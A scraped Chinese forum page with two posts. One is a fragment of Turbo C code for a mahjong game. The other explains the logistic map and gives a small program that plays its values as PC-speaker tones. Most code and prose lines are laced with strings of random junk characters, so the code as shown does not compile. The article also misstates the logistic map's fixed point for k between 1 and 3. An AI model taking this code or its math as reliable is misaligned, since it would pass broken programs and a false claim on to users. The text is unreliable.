}0 [" u; X+ I: H2 J6 p
if(every==9). F8 J6 q$ x4 G( `8 {" ~
{
: f" ~: W& g; I  Y5 Q" M" W5 Lx1=200;9 I, l& |# P4 d( S
y1=165;
! d9 G' v% C8 C1 @1 I! LfillRectangle(x1,y1,x1+20,y1+4,0);7 I! k1 G- K+ w0 E9 E; n/ J4 i: P; `
}
  X, \5 H+ G& U5 j# V& W' t" hif(every==10)
6 g5 @; z. y+ k+ C{  D- D% c% T9 h8 U$ d6 [
x1=220;
, P( r4 w, H2 N; my1=165;0 P7 {  c2 H: E' M
fillRectangle(x1,y1,x1+20,y1+4,0);
( y. i/ F9 E! O' R( m9 k( x}* i* ^' v9 j! S! ~3 |9 X) X6 ~6 W
if(every==11)
* ?' x( V. m- o0 w5 m" ^! P6 c5 Z{4 o, a  c, ^) {, o3 C3 X- I9 d$ _
x1=240;3 |; _. C/ W0 [
y1=165;! B' C( D9 U  d( _' A' m9 A
fillRectangle(x1,y1,x1+20,y1+4,0);! c1 P, L% z/ x* t$ R' I3 q
}* U2 v% F( Q- |$ A  h* j3 I0 o' I
if(every==12)
+ F# q8 ]- ~0 S4 |{8 r5 q9 ~3 l& Y# @- f& U- d
x1=260;
, R1 a+ x# u' r& v* P( Cy1=165;' U6 L* B: w$ v, M% O$ B3 y
fillRectangle(x1,y1,x1+20,y1+4,0);5 I/ T* w, _# I+ _. y9 g
}9 x& F$ _/ a+ I, R3 c" q6 c: T( w" t

0 l5 y: i( f5 _zz=0;8 n- \0 @) k# Y$ \
every++;
8 ?6 p! M5 Y2 u+ dz=z+20;
& ?' J& l) G( Y- V}0 Z$ I( Z# ?( I& X9 ]6 K
showbmp(every);
* q4 X* T+ L6 Z: B0 _key=keyy;+ w# ^/ C' T! G: l$ w' G/ Z7 Y+ r
if(keyy==ENTER)% l& Z6 [" g9 B, ?
{
" s+ b. U3 U" f* f/ u( P% l/ zrgzn(every); /*********************/; O1 N& P+ n! L! R/ H! s- n+ P& C
if(sing==1) /*如果可以乓,做相应的处理*/
. M, y) f  H5 x3 ?- S{
% S" @) V8 P5 |3 jkkk=0;
/ o' S0 {* g# l8 Z5 r! }kkkk=0;1 O6 q+ K# W( v7 |" }) s3 h. x
while(kkk&lt;=computer.m)  [& c5 G4 Q2 @5 i- ]
{" E# @: q; W% k3 q: D& a$ Z) v. Q
if(computer.pp[kkk].p!=1)
: @- c. D# b! A7 z, R  j% [{
0 P8 a$ n  i/ A" vcomp.pp[kkkk].k=computer.pp[kkk].k;; B: q  j% |# @! K
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, C4 n, n/ S& E; f
comp.pp[kkkk].number=computer.pp[kkk].number;3 n+ l  T" b2 ^! n; h' e
kkkk++;3 H3 r9 _: C" v( l5 u- @
}
, @1 g: q$ f  u# M0 c4 uelse
# q( P. V1 T# X8 X{/ G! \5 i: D/ }  Q& R& D- U& e
m[computer.pp[kkk].number].data1=1;, k1 S* i: O$ B  Q
dwei=computer.pp[kkk].number;0 l" i, ~* U( ]2 ?- }
computer.pp[kkk].p=0;! F3 i9 `# A! X0 o
}; D5 t" F4 u9 A6 ]9 o% j, p8 t& R
kkk++;
  W, e# O( c2 K}% f. B4 O+ u3 Q3 w5 G
ll=0;
! K: _2 p" I" ], C# T  h( `
" H7 q4 w! G% Wwhile(ll&lt;3)1 E5 J/ Y$ ?* D! `/ E5 K
{ zl=zl+20;
0 O& t* N$ ]: b- M4 ^2 bbmpp(dwei); /*显示乓的牌*/8 E2 ?+ ^; j8 j( m6 W$ ]
ll++;
7 t! I! s5 j. r' R) C1 g% P}/ N. W3 [* W5 Z% J

- M) g/ `& n7 d, i  R" Rzl=zl+9600-60;
0 w; ~. o/ A2 H: m* r4 c& Skkk=0;2 E) V5 o2 J- m+ e5 H2 Y; [
computer.m=computer.m-2;
9 Z* m2 E, i3 I' w7 t' u" j# xwhile(kkk&lt;=computer.m)' o# S4 v) m# Q, w7 n( a# |
{: e) x' D7 X$ p1 y/ ]% Q& R6 ^
computer.pp[kkk].k=comp.pp[kkk].k;
5 [+ I, Q1 N. Q. j+ [$ x+ Y! L, Gcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" X2 `! w% S. Z
computer.pp[kkk].number=comp.pp[kkk].number;
* `% A& C+ p: c0 ekkk++;
- b5 z" N$ U+ t/ d2 c4 J; o}5 m; ?2 f4 f' \8 l4 I, y
ll=0;
7 E4 j( v& s& M8 G) r" s" u8 @temp=random(computer.m); /*出牌等待完善*/
$ s' r' b; N2 n' d4 z( i  }zyy=zyy+9280+20;
7 s, ~# o# |& i% z) bshowcbmp(temp);7 G# M: Q4 X" q$ U: E* U7 m
zyy=zyy-9280;+ |) p/ b9 z# z) \
/*****/+ r* x! b9 f! E" ~0 }9 Y
rgznme(temp);
' n% q7 Y+ ~: ^panduan();
5 c, V& l6 @4 R* ^: |' \2 T9 Tif(me.m==0)! d" M$ |: s" \% W% I/ I+ s! J
if(second==1 &amp;&amp; threes==0)6 z' e) u% p* R  i6 T" m* c0 _
printf("you win!");
, m# G/ R% B) z6 R7 Wif(me.m==3)
4 V8 l3 x7 A" a/ p+ Y. M7 c# ]if(second==1 &amp;&amp; threes==1)7 E) q: l5 O6 @% P: u, \% P
printf("you win!");
6 u. ]' z3 ~8 q! iif(me.m==6)4 o5 q5 _# n, |' k' A
if(second==1 &amp;&amp; threes==2): m/ r" U& ?9 g; k
printf("you win!");
- ?7 ]. @+ U  L6 I( `if(me.m==9)
7 g7 h4 K7 s0 l0 }7 `& K: X+ `2 o0 Gif(second==1 &amp;&amp; threes==3)9 }, u. h) Z' l
printf("you win!");# }" }0 ^! e$ h8 N" t2 \; A) E( F
if(me.m==12)
, d% Y, t' c0 cif(second==1 &amp;&amp; threes==4)& A$ z2 G! h; C& R' v& T
printf("you win!");% r) h+ }. g/ a# u

5 ~3 c  h1 Z$ y9 Vkkk=0;. |8 v0 \9 N! F1 U7 w# h" R( k, f
kkkk=0;: h* j. D! L& F  j
while(kkk&lt;=computer.m)
) G- j1 |2 j6 H" y, X* p: V5 @{
' `) i* `+ T+ d, \! aif(kkk!=temp)# T% L4 I! `" M% B0 I8 p- ]" q* J- ^
{) t# ?7 f, Y! v5 w5 \% P
comp.pp[kkkk].k=computer.pp[kkk].k;& ^- }  X5 |* N- }! o+ Q
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;% c% O% l1 d( U6 i  B5 w3 U2 f
comp.pp[kkkk].number=computer.pp[kkk].number;  F8 l2 S3 X% ]* E8 J# |- U: x
kkkk++;
4 r& z& J8 N  |9 C/ Y; k. g( t}4 m& ^& ~3 W: C5 l9 J& a; r
else
1 Z) K7 ]3 I) Q) `! K/ sm[computer.pp[kkk].number].data1=1;
9 n9 L5 S5 k) |$ a  D' H2 T0 okkk++;  I/ ~- t2 o. j, b3 Z6 g5 U% Y* f6 X( t
}& b; X2 k( i7 s( K# s% W7 w
kkk=0;; H! g- Y6 z. N) y: q5 y
computer.m=computer.m-1;
! Y+ Z+ k* [. h, cwhile(kkk&lt;=computer.m)
: {1 K/ L' g. x" n" z8 R{
) Y" _3 d7 w8 J6 R4 ncomputer.pp[kkk].k=comp.pp[kkk].k;
" C, z0 T; s+ r  c/ ~computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;5 c; @0 H: U' Y$ K+ b5 K9 ~( P2 }
computer.pp[kkk].number=comp.pp[kkk].number;1 D& }. |5 A4 R* P' W; K& x
kkk++;
* A0 j. N! O! S6 ]) F}( X: W' @% H* R8 r
fillRectangle(0,0,320,30,0);
# I; ?3 u: K# V: f3 \n=computer.m;
3 W$ {4 }0 ^" i. J& B, ]9 bll=0;+ j% e( S0 t5 A4 Y3 @  x
zy=0;
& A# ]* z" J# D/ Nwhile(ll&lt;=n)
" p* u; h( d. b2 g; x0 G! F/ D" ]% s{/ a7 X% Y6 T: ^# S% `1 Z1 K
zy=zy+20;2 ^- l# M, ^6 Z1 S0 |; U# C; e
showybmp(ll);
/ h" e" z$ B6 S, h* @4 Q; B. Rll++;
/ k5 e9 ~. S& U% }1 G7 G/ i8 ]+ y}
; A8 P- y' m# v6 m: U6 Oll=0;
  e5 {7 F( n, k5 e$ d6 E) `getch();
$ k+ M, T- J* s/ ]0 Y/ Xsing=0;
9 b8 \; N' Q' w& ]: l6 s* using1=1;
1 g+ c  o+ h/ g. w$ m}
( \+ f9 t+ o( i* i6 `) p
! H' M1 G7 L* h% `) m9 C; aif(sing==2) /*如果可以杠的做相应处理*/" C8 O" d( I/ N, W; N6 v/ ]1 {
{
2 [9 Y* k0 `; l( I; i" u  Hkkk=0;' W" L' F& W0 l3 X$ q6 ]. S  j' o
kkkk=0;
8 [. L; s' n9 A# T6 M4 ^4 S) Xwhile(kkk&lt;=computer.m)
7 |$ j" {, R5 U" e{& k" V- y) z6 c( A* m0 {
if(computer.pp[kkk].g!=1)
; z+ |& [4 z$ N{
/ q& ^! t$ Z2 `, h9 v' rcomp.pp[kkkk].k=computer.pp[kkk].k;8 u( `7 Y/ E% j4 U" z' S8 b' y
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;) n5 `- ]' ]' r% A$ Q
comp.pp[kkkk].number=computer.pp[kkk].number;/ Q2 b- {. p8 p4 }- ?' X
kkkk++;
/ [6 n& a: h1 v; y3 |1 E}  e* {9 E8 k) s) V+ h. e
else
6 R: X; w/ O1 i{
: \9 w' J. q+ C  }0 u$ rm[computer.pp[kkk].number].data1=1;& L3 C4 ~# X9 e$ A/ W" E# }- r! F
dweig=computer.pp[kkk].number;
* ~. R; m8 L' z& y) h* j6 |! scomputer.pp[kkk].g=0;
5 D% g* d6 n7 h. C( _}
- N9 g8 Z, T: u2 W  h( ukkk++;
' a3 x9 ?! P; C% I) d! f}# d3 }0 b% Y* h( t4 q+ f
ll=0;
* s  E0 C& f; h9 s4 }) A% ~0 `! |0 h' p+ f6 U
while(ll&lt;=3)
# k- Q$ ?6 A+ V6 c# Y* u! A{ zl=zl+20;
. n" N) Q1 _) e% h& J" obmpp(dweig); /*显示杠的牌*/+ R- t" M! @* V8 t5 I+ u+ x
ll++;
' j/ U/ Q# R/ |9 [* c- ?* t}
) ~7 Q, x! c6 I% T- lzl=zl+9600-60;2 m2 @  N+ I0 S5 ~  `+ J
kkk=0;7 m/ d( E6 \. V5 W5 b
computer.m=computer.m-3;# F6 K1 Q* r2 x) H& f; L( A
while(kkk&lt;=computer.m). p! B/ T* j& D  ?) T
{/ c+ _5 a  s1 ?* f) Z
computer.pp[kkk].k=comp.pp[kkk].k;- ?4 i2 k6 h, ?4 B9 _/ j' f
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;$ R0 h8 o0 }# y
computer.pp[kkk].number=comp.pp[kkk].number;
5 o9 u' w; P2 ^4 H* ]kkk++;
% V5 o1 X) i4 O7 l/ X$ r2 w}% L* y$ j0 v  x  H
kk=0;# D( u2 v) B* n) e
computer.m++; /*加一个牌的容量*/
2 w7 N) C  o% C- _7 n  m) {$ j7 Hwhile(kk!=1)
% n" J. q: M7 h2 V{. k! C1 S4 C% Z
temp=random(136); /*出牌*/
0 A* H* G+ y% `if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
" Z  |9 p: ?" L5 C8 a2 M) g' [! C{
; t  A, j* @0 L0 {' ~computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
% ~' `! t5 Z7 x& fcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/$ V9 J4 Q+ ^/ |
computer.pp[computer.m].number=temp; /*第几张,用来排序*/+ e5 I( ~' u2 @+ g% u1 |
m[temp].data2=2; /*判断牌是谁的,2为电脑*/  p# d1 U& P3 c/ K) S
kk=1;' M1 Z( T! y$ K7 p6 n
}9 ^& T) @1 z# ?( m8 ^2 r4 \
}+ C% j# ]2 u' V8 l, u/ N
comlipai();" Y2 \6 j  ]; Z. ~: b6 @; ^
temp=random(computer.m); /*出牌,等待完善*/8 T. i* V5 [  Q. Y5 y# T) {2 s5 B
zyy=zyy+9280+20;
  W# k5 N) [4 `9 C/ `8 H8 S4 dshowcbmp(temp);, [3 u% c0 w! D( z- H4 T1 X% i
zyy=zyy-9280;, ^2 N0 `8 ]3 \! R% e# D/ v
/*****/3 j3 v. {+ q7 g# M& {
rgznme(temp);6 A3 T: w: {( A+ `7 Z3 B
panduan();
. c3 V2 \$ c: E6 ^6 \if(me.m==0). t- F. L0 Z& B+ C' o
if(second==1 &amp;&amp; threes==0)
; ^& [$ ~* t( c9 W8 Z) jprintf("you win!");! u4 Q1 C- f% d
if(me.m==3)- b3 b  d% N1 o7 [  C% F( T- v
if(second==1 &amp;&amp; threes==1)% S) C& t% x6 D4 p7 D8 L
printf("you win!");  i& P, [) T: f* G
if(me.m==6)
2 W; }  {1 C6 ]7 t9 v2 Gif(second==1 &amp;&amp; threes==2)6 ]. M9 g' T% a( W8 ?  h7 W) ^
printf("you win!");
9 E* e% V* m0 {9 r- tif(me.m==9)
/ t3 M& v/ V. Z% `" g( wif(second==1 &amp;&amp; threes==3)
% M- d) }# b3 O4 j1 oprintf("you win!");
1 k# u: Z, ?; Nif(me.m==12)
* f3 S/ Q/ \  s& Sif(second==1 &amp;&amp; threes==4)' J8 T7 u% Q. Q& p  u. {' E
printf("you win!");
+ e7 E4 @% r8 T* e5 b+ P# Y# {0 Z4 U; G" r, P
kkk=0;8 T) ?# Y6 \3 j& G$ }1 j* Q
kkkk=0;8 [% c. b2 v% r/ k: I3 }
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
9 F! k+ P' z, g: o{
, v0 m5 u: i# r( Aif(kkk!=temp)" W4 X' a! {( R( \% M' l
{
% @0 h8 z6 ^# G( }+ }0 Lcomp.pp[kkkk].k=computer.pp[kkk].k;
' H' V0 l/ E* `9 P# @comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;/ Q( |  E. S% b7 X" a
comp.pp[kkkk].number=computer.pp[kkk].number;- a" X+ N1 n; b: l1 h$ B9 p
kkkk++;1 }: x  T& x4 v: w
}
' v. F0 q9 k* A/ {. r: Telse  H: M' K! h! U: B9 ^: U  G
m[computer.pp[kkk].number].data1=1;8 v. i: f2 [: |4 X3 C* {& H, S
kkk++;/ |& U$ p& U4 i; t/ E" |6 y
}
6 C* t  K* D% B! u& r: Ykkk=0;
+ S1 y. l& F$ a) C' Q1 Acomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
6 [- y% X. m4 pwhile(kkk&lt;=computer.m) $ v+ n0 x  J- N+ r
{
  _- W$ y5 _# k# e) {" H; scomputer.pp[kkk].k=comp.pp[kkk].k;/ ?" A3 b$ C) |' I! q0 `
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
+ r0 v7 n# c4 {- j# X$ dcomputer.pp[kkk].number=comp.pp[kkk].number;; ^' n1 n) \6 T6 L. ]: s8 F
kkk++;
) s$ a$ ^4 t" C' B1 x}
9 Y. r4 I6 C$ M) m, Z0 ]" r/ Y( ]fillRectangle(0,0,320,30,0);4 i/ E: t/ V2 t0 e& i  f+ R
ll=0;  e+ T; [/ b$ g7 Y# f% C1 ?% P
zy=0;1 m" A; k, f/ J, N
while(ll&lt;=computer.m)3 w" @  i4 o( I1 X0 Q! a
{
0 _1 w( V$ h( B0 Izy=zy+20;
- l# d. ]- d- j& t2 ?; Pshowybmp(ll);: W' K* |. L* h4 p* B' W6 s% B7 Y/ o3 R
ll++;
* B- \) K( I, J* n}
. ]; j2 q; [; _sing=0;3 {8 K- I+ ~! @6 B8 ^
sing1=1;
$ [9 g. H7 t: W+ e  D  b3 z}( v$ J& }7 b- [8 M* }3 \
if(sing==7) /*如果可以吃的,做相应处理*/6 D$ }# I+ q. N" k7 V8 E! H
{ nn=0;+ A' n' B) Q3 |; a! i3 D
kkk=0;  A$ t" E+ e5 r. @# u  ?" `' ?
kkkk=0;
+ \- B6 ~( i5 t4 D1 H: o/ ywhile(kkk&lt;=computer.m)% ~8 P8 u  f" ]" w0 c* P
{8 b, ~2 B& z8 Y3 Z8 F
if(computer.pp[kkk].c!=1)
5 A" M8 U; d6 g9 W6 c% O{3 [0 P2 f# ]' S# R# {
comp.pp[kkkk].k=computer.pp[kkk].k;
2 C, y- X/ h' j( _comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, _0 ?% b( n" S
comp.pp[kkkk].number=computer.pp[kkk].number;9 _" K* G' Z/ `0 @/ K6 Q. ]
kkkk++;$ S# G* ^$ ?& p: [- M( ?
}
, E2 s* i* Q/ Z! Lelse& W1 Z2 A0 q  b4 u4 ~* P! @
{' w' q9 ^2 O  Y6 h5 y' Y4 V
m[computer.pp[kkk].number].data1=1;, P9 A+ i: G* N! e1 O3 K
dw[nn++]=computer.pp[kkk].number;
+ T' |$ S& D. j0 Xcomputer.pp[kkk].c=0;4 a% Y8 l7 N0 m1 v/ ?0 d* R
}# q# ~' t$ x/ l) X+ [) d. ?
kkk++;
. W/ d) z/ o; M: m6 a! t}$ o( y! B: e- B* Y) H8 f+ N; f. p

, X- [: ^& b; cif(me.pp[every].number&lt;dw[0])
9 B2 D# {: Z; n4 s, L{
6 M/ O2 }9 O& ]) L7 @* @8 mdw[2]=dw[1];
; l8 j; Y3 n1 Q  o" U$ P$ C) rdw[1]=dw[0];
$ T" D0 _6 |$ G3 cdw[0]=me.pp[every].number;% l3 S, o# O) K( @
}
# E6 u$ s' t2 ]  ]. x7 Hif(me.pp[every].number&gt;dw[1])0 t% ]) L4 S- p- z+ \; P
{9 n; a: j$ H6 F7 C
dw[2]=me.pp[every].number;% ^. |6 a) Z* J
}- X: c5 w& C/ [: e
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
  J- ]6 v7 b% Z/ x1 O# \{: j' _1 U0 U1 P
dw[2]=dw[1];
5 F: E- l/ X+ kdw[1]=me.pp[every].number;
0 e6 A- S; W7 n# M  E}& E. d" g2 t( g9 D" e
nn=0;/ e( I$ }3 e/ @& b/ Y' p/ w
while(nn&lt;3)# f. l# a: e, a1 `% a
{ zl=zl+20;
: ?* N* N1 Q- H: O  ~# o9 Abmpp(dw[nn]); /*显示吃的牌*/- a) V+ p, y; D
nn++;8 ]# [& x/ y3 U. C5 x. P
}' k# J6 m8 j5 _% l& `
zl=zl+9600-60;
6 L. z& b4 ]* |2 Wkkk=0;# D9 m) P4 G* o) C$ {4 P
computer.m=computer.m-2;5 [4 T) |$ e. i6 S2 H
while(kkk&lt;=computer.m). u, s+ M; q" D# o8 C
{6 p, k+ X# w: N, X/ ^. f3 X+ R
computer.pp[kkk].k=comp.pp[kkk].k;
; d  `" q7 c4 }3 k3 s- `  Hcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
- l4 ^) Z/ ?2 J0 p6 ccomputer.pp[kkk].number=comp.pp[kkk].number;4 |9 ~8 ~& \8 R! _4 I" h! L3 f
kkk++;9 l  d/ p/ n1 S# z8 k/ ]8 b( b
}
0 q5 F$ L) a  }0 X) ~  U& qll=0;
: w" v0 |# M* ^& e( A9 T, p5 Stemp=random(computer.m); /*出牌等待完善*/
9 \8 o8 C9 z6 h; U. L, qzyy=zyy+9280+20;* N/ g2 @6 v, K
showcbmp(temp);
, a0 z0 b# K/ n# \2 }. f/ Ezyy=zyy-9280;
7 f+ A: d3 Y9 H, C) i$ y+ o6 R2 }" m/*****/
  f! ^; d6 u+ q! O. b( drgznme(temp);
/ o1 @0 a# M! R7 R$ r+ Npanduan();& ~1 `- p* y2 ]% W( ^# h' l0 b
if(me.m==0)
* E5 n" u5 G0 N1 U2 O% D' |" x9 yif(second==1 &amp;&amp; threes==0)  U6 T) M8 g  K# c: s
printf("you win!");2 F% d3 d& a& w2 J6 o* E
if(me.m==3)
4 h1 h/ l4 x# g; o6 k# {if(second==1 &amp;&amp; threes==1)7 ^) J5 R2 w! l! s+ }+ [: ?
printf("you win!");
* p0 K7 |; T, x7 v+ p* Cif(me.m==6)0 P% V$ m' D, t1 {' v
if(second==1 &amp;&amp; threes==2)
5 E$ V: I7 \6 m& S7 _printf("you win!");
: t  Q& h* \9 h$ Mif(me.m==9), O4 h1 t1 [1 B9 j; Q% M; F0 x
if(second==1 &amp;&amp; threes==3)+ U( t' V* e# \6 j+ H2 }
printf("you win!");
" |3 `2 {; w. \& [/ J6 Gif(me.m==12)1 a) b' O) e( A# k1 X
if(second==1 &amp;&amp; threes==4); d- b9 H" J. B& R$ y
printf("you win!");! A- g, z; U; J" S& a) W7 ~
! r7 V& c' n$ N% Q, ]  N
kkk=0;
" u+ s  e; t# _) \kkkk=0;) d8 S: p# J! d& w! S$ x
while(kkk&lt;=computer.m)0 f( i/ U1 S: n, v( C
{
7 h7 I4 \, i$ M+ r6 i, U: Yif(kkk!=temp)
5 c6 n% c2 @& O% f* g4 k& J! Y{/ ?# c' M0 W* Y# r3 S% S/ I
comp.pp[kkkk].k=computer.pp[kkk].k;
+ S3 I: p5 S( x8 Wcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
; X3 P8 T  U1 {: T. V, wcomp.pp[kkkk].number=computer.pp[kkk].number;
) o) D- v4 x' Q0 f# D9 R5 pkkkk++;
/ a2 b$ q7 p1 L' c0 f}
% I( E# [$ ^# @1 k. Q, O- f. xelse; W: Z# F; X2 D" e2 }# Y9 k) c
m[computer.pp[kkk].number].data1=1;9 n' w. a5 U% J  t) A% w
kkk++;
4 U- }& m8 H  S) f}8 @) ^) ?; K% J4 o' k& B  P
kkk=0;
0 l5 |6 g! H% Zcomputer.m=computer.m-1;: l( }# [- B- Y' j/ C6 `( m. R5 `
while(kkk&lt;=computer.m) $ Q. @9 L) \: ^/ P: T2 J
{' B* v) j' t# K+ M9 A+ W6 Z
computer.pp[kkk].k=comp.pp[kkk].k;. Y/ L, V5 m8 P9 T
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 N( U5 Z3 G, N* N: N
computer.pp[kkk].number=comp.pp[kkk].number;+ X2 ?2 M* }3 k6 }* r
kkk++;
- k" r$ I1 x& G" I9 t}( A( ~9 B' j0 w6 [, H
fillRectangle(0,0,320,30,0);; k6 l1 S. ^3 [8 G" k
n=computer.m;9 p. E: @9 ?4 z. J
ll=0;
2 ^9 D: ~3 ^8 B) R* z: X6 O. }zy=0;+ a% m* E$ ^* b) k% ?4 Z) o, h
while(ll&lt;=n)( s1 `& T* g- i( `3 @/ m4 J
{
: w0 i7 a! I$ D# A7 [; }zy=zy+20;
; \4 f0 V# }+ B) I' \showybmp(ll);# D4 a9 o$ S- S0 {1 V
ll++;0 S4 R# q$ g+ K/ l
}- L/ V3 ?" y. K# w1 T

* s( N, A* v0 E- C" N. n! |5 ?" c& Sgetch();+ G) A) C9 y# L
sing=0;( T, M0 q+ n6 }- ]% o" ]  L) h
sing1=1;" Q3 j3 h" f6 |9 C& |! |9 P- T
}
: G: C6 D; Q; V' V( ?# Tif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/0 h  ?* J3 {* [2 V1 P7 ^/ e, z3 R
{
9 i# E& r0 r" E: Ckk=0;* J0 y9 t$ P+ Q6 W# [) t. w- Y9 w* I; [
h=me.pp[every].number;0 ^( }! P( F! d! _1 ?# f& s
m[h].data1=1; /*此牌已经无用*/: D3 o, O9 \* @( q+ }7 `' c
if(sing1!=1)
" {( }9 r/ f0 g{
9 i7 S5 F, \/ |1 Pzyy=zyy+9280+20;% X4 W6 \: [/ h8 X
showbmpd(every);' }8 `- k4 g+ G8 \2 e0 r: J
zyy=zyy-9280;
! }$ Q) @) n  o! \6 g& g+ H}) ]2 ]) a+ Z: ~4 I8 ]7 |
while(kk!=1), r$ h1 x3 n' V# ~
{( m% V/ `2 Q$ B3 O9 l& }
temp=random(136);+ T6 O8 d2 B% J4 t+ a2 w3 w5 f
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
5 ]# }8 b0 g5 P{
4 u, G- x3 a' \8 s& v0 |1 vme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/, f9 M+ M3 l% b2 t: p* R
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
3 [# b1 v; q  M  Y2 ]5 Ume.pp[every].number=temp; /*第几张,用来排序*/
; _- O7 ?% V4 I4 f5 J0 ?$ z6 i1 Um[temp].data2=1; /*判断牌是谁的*/
0 N" A! j5 o. v& Q# e  t) ^) ]kk=1;7 Q8 Q; _/ C  H; I9 p# d2 S+ p3 `
}
# [4 C* T5 h2 G, [" e; \$ @if(kk==0) /*判断如果又选择了,就从新再选*/
& v2 w' ^' b' P5 f0 _4 Akk=0;
( J7 w6 q% C% D3 Q) q" m% L}. p" J: o9 l5 Q% e
}
1 m6 v4 U1 n& r# Y$ wsing=0;
* q" R" s, J7 B1 L" N. wsing1=0;& V# M8 }8 G: s9 X& G
melipai();
+ _$ N% w" j4 C. u( C! an=13;, s+ O( V4 p/ j6 d- S# H8 H; q& w
z1=54400;
( h/ B4 E" p$ q. Y" s6 l  ]l=0;
! _% u( {" r! c0 m! Z' D: Pg=z;: N8 }8 B4 N+ Z* C
while(l&lt;n)/ u6 u4 B; o: K) J# Y
{ z=0;
2 i( P4 m3 _* k# C3 n3 rz1=z1+20;  |# P! `" k" b/ }5 }
showbmp(l);( y5 R2 e9 T- J" U! k0 n, D4 r& [
l++;
6 B& f0 P& B4 W6 z6 @1 S- S}
# F0 [% S, b; ^  Bz1=0;5 \$ ]5 q- N9 w/ n6 v- F4 P
z=g;3 j7 h' G1 k* Y7 U
}. }6 }# |) B. I7 t
keyy=0;% s8 d- Z/ }7 G) {* I: ?
}) |8 o: @/ m. ?" ]3 F8 X
& {2 U! v3 |& n
getch();
4 G- U- N3 H" P. Z) MOUTVGA;5 R8 p# f# q3 y6 A. l; C
}
; Z6 L4 }9 ^- `0 ~1 V+ J( h# r</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])7 j2 `' H1 T5 i# e  |9 i+ H. V
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:) V. [1 S2 P6 I% r
+ z5 _5 T. ]- T8 z$ |1 Y
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。* [4 B2 h4 s9 O- _* i' _4 d2 u
  <FONT color=#009900>#include <DOS.H>
% w1 o9 H: e2 E$ \4 Q6 [& S  #include <STDIO.H>3 w. G7 G1 K3 V2 [+ {) e
  main(){
, |1 t: t/ F4 M& _+ H. f  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
/ w; J/ z, S. }  B1 y: A4 R  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
4 L2 j: [9 _3 ~7 E9 R  /*i,j用于循环记数*/
8 P8 y+ g3 v3 O# ?9 e" @( t  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
' _0 K, ^" k: g7 R. Y" r8 c( M) }# t  fDis=fMax-fMin;
4 U1 t. c3 V- c9 v  [$ f  for(j=1;;j++){
* h0 n+ V) f) @  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/  {$ B0 a4 u# y1 m/ K  q' R8 t9 f
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/8 k7 Y: t6 |( i/ n
  scanf("%f",&k);- n; _6 O: U* R5 t, A
  if (k==0) break;
- a' M; z2 I9 M1 m3 K, f  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
: `. R& p2 ]" w4 p, W  x=k*x*(1-x);
. E3 c6 S' h7 T1 D, o  for (i=1;i&lt;100;i++){; I& l, w8 {& ]* w7 G
  x=k*x*(1-x); /*计算x的值*/
6 n+ r/ `3 M* ~0 ]$ K  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/$ w  j* P& Z& ]
  delay(1000); }
% C, K) ?& A7 y# Y5 L$ J0 c0 A  nosound(); }}
8 f$ u+ s8 D0 N# B  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
7 d! d: s* c' n/ \$ D不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

